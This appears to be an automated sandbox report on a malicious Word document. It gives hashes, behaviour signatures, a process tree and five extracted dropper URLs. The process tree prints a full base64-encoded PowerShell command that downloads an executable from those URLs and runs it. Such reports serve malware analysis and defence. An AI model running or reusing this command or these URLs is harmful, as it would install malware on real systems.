Analysis

  • max time kernel
    126s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    25-06-2022 01:45

General

  • Target

    6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf.doc

  • Size

    136KB

  • MD5

    28d038b8af4c15606af45f46288044ab

  • SHA1

    ec2f0e61f236865b5ea16aa610775ff5bebbaec5

  • SHA256

    6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf

  • SHA512

    640afe19a0240b953e500d200464f58819638310bad31dcf3ca80e70c565ff7e9da6636557a09350ead017a7843ba58d7b4ba130b46f46f51eb5983dd6ebedcb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://drmarins.com/engl/pCAdOLWLJ/

exe.dropper

http://hybridbusinesssolutions.com.au/cgi-bin/t6ye0j_wyhf4yw-2/

exe.dropper

http://durakbufecengelkoy.com/wp-includes/GrIBQTnoO/

exe.dropper

http://performancevitality.net/partner/rq2totv_bryhdqjc2-17320/

exe.dropper

http://tnrkentonode.com/wp-admin/vxaljneq_f9vcwvsz03-015845519/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6273492f7425010ac115b511226334f85378b15d21cf49e27e8ab35503a55adf.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB3ADgANQA1ADIAMgBfADkAPQAnAGwAOQBfADUAOQAxADcAMAAnADsAJABBADAAOQA2ADkAOQAgAD0AIAAnADIAOQA5ACcAOwAkAEsANgA0ADgAOAAxADkAMAA9ACcAbwAxAF8AOAAyADcANwAnADsAJAB6ADMAMwA1AF8AOQBfADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAMAA5ADYAOQA5ACsAJwAuAGUAeABlACcAOwAkAFYAMwA1ADEAMgA3AD0AJwBGADkAXwAwADYAMgAyACcAOwAkAE0ANAA3ADgAMQA3AF8ANwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAYABCAGAAYwBMAEkARQBOAFQAOwAkAEQANwAxADUAMwBfADAAPQAnAGgAdAB0AHAAOgAvAC8AZAByAG0AYQByAGkAbgBzAC4AYwBvAG0ALwBlAG4AZwBsAC8AcABDAEEAZABPAEwAVwBMAEoALwBAAGgAdAB0AHAAOgAvAC8AaAB5AGIAcgBpAGQAYgB1AHMAaQBuAGUAcwBzAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALgBhAHUALwBjAGcAaQAtAGIAaQBuAC8AdAA2AHkAZQAwAGoAXwB3AHkAaABmADQAeQB3AC0AMgAvAEAAaAB0AHQAcAA6AC8ALwBkAHUAcgBhAGsAYgB1AGYAZQBjAGUAbgBnAGUAbABrAG8AeQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ARwByAEkAQgBRAFQAbgBvAE8ALwBAAGgAdAB0AHAAOgAvAC8AcABlAHIAZgBvAHIAbQBhAG4AYwBlAHYAaQB0AGEAbABpAHQAeQAuAG4AZQB0AC8AcABhAHIAdABuAGUAcgAvAHIAcQAyAHQAbwB0AHYAXwBiAHIAeQBoAGQAcQBqAGMAMgAtADEANwAzADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB0AG4AcgBrAGUAbgB0AG8AbgBvAGQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgB4AGEAbABqAG4AZQBxAF8AZgA5AHYAYwB3AHYAcwB6ADAAMwAtADAAMQA1ADgANAA1ADUAMQA5AC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAEUAOQA2ADIAMgAwAD0AJwB6ADgAMQA5ADcANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAawA0ADUANwAwADgANwAgAGkAbgAgACQARAA3ADEANQAzAF8AMAApAHsAdAByAHkAewAkAE0ANAA3ADgAMQA3AF8ANwAuAGQATwBXAG4ATABvAEEARABmAEkATABFACgAJABrADQANQA3ADAAOAA3ACwAIAAkAHoAMwAzADUAXwA5AF8AMAApADsAJABIADMANgAwADUAMwAyADUAPQAnAEYAMAA4ADQAXwAwADAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJAB6ADMAMwA1AF8AOQBfADAAKQAuAGwAZQBuAEcAVABIACAALQBnAGUAIAAzADkAOAA4ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAegAzADMANQBfADkAXwAwADsAJABmADEAMwA0ADgAOQAzADAAPQAnAFoANABfADEANAAwADcAXwAnADsAYgByAGUAYQBrADsAJABmADEAOAA2ADkAOQA3ADgAPQAnAHIANwBfADIAMwAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAOABfADQAMwA2AD0AJwB2ADcAXwAxADMAXwA0ADcAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1256

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1256-139-0x0000025E74FC0000-0x0000025E74FE2000-memory.dmp

      Filesize

      136KB

    • memory/1256-142-0x00007FFE48E40000-0x00007FFE49901000-memory.dmp

      Filesize

      10.8MB

    • memory/1256-141-0x00007FFE48E40000-0x00007FFE49901000-memory.dmp

      Filesize

      10.8MB

    • memory/1256-140-0x00007FFE48E40000-0x00007FFE49901000-memory.dmp

      Filesize

      10.8MB

    • memory/2968-134-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-135-0x00007FFE32930000-0x00007FFE32940000-memory.dmp

      Filesize

      64KB

    • memory/2968-136-0x00007FFE32930000-0x00007FFE32940000-memory.dmp

      Filesize

      64KB

    • memory/2968-138-0x0000025156B60000-0x0000025156B64000-memory.dmp

      Filesize

      16KB

    • memory/2968-130-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-133-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-131-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-132-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-144-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-145-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-146-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB

    • memory/2968-147-0x00007FFE34990000-0x00007FFE349A0000-memory.dmp

      Filesize

      64KB